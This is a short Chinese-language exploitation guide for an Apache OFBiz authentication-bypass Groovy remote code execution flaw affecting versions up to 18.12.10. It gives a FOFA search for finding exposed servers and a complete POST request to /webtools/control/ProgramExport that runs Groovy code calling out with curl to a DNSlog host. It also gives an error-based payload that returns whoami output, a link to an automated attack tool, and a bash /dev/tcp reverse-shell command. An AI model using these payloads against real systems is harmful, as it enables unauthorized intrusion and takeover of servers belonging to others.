Apache OFBiz groovy 远程代码执行漏洞,攻击者可构造请求绕过身份认证,利用后台相关接口功能执行groovy代码,导致远程代码执行。
1.漏洞级别
高危
2.漏洞搜索
fofa
app="Apache_OFBiz"
3.影响范围
Apache OFBiz <= 18.12.10
4.漏洞复现
构造请求包
POST /webtools/control/ProgramExport?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 184
groovyProgram=import%20groovy.lang.GroovyShell%0d%0a%0d%0aGroovyShell%20shell%20%3d%20new%20GroovyShell()%3b%0d%0ashell.evaluate('%22curl%20CVE-2023-51467.y6x162.ceye.io%22.execute()')
如果dnslog收到了响应,证明漏洞存在
注:content-type为必须正确的,否则服务器会解析失败 导致无法正常响应
5.漏洞利用进阶
5.1 利用脚本
由于该漏洞本身无回显,所以可以利用java报错机制来产生回显,构造如下payload
groovyProgram=throw+new+Exception%28%22whoami%22.execute%28%29.text%29%3B
这种情况下会直接触发java报错 返回到页面,效果如下:
感兴趣的可以直接查看这个项目,有自动化的利用工具:
https://github.com/D0g3-8Bit/OFBiz-Attack
5.2 反弹shell
我们也可以通过直接反弹shell的方式来进一步利用。
bash -i >& /dev/tcp/ip/port 0>&1
注:反弹shell很可能会触发安全机制 导致反弹失败。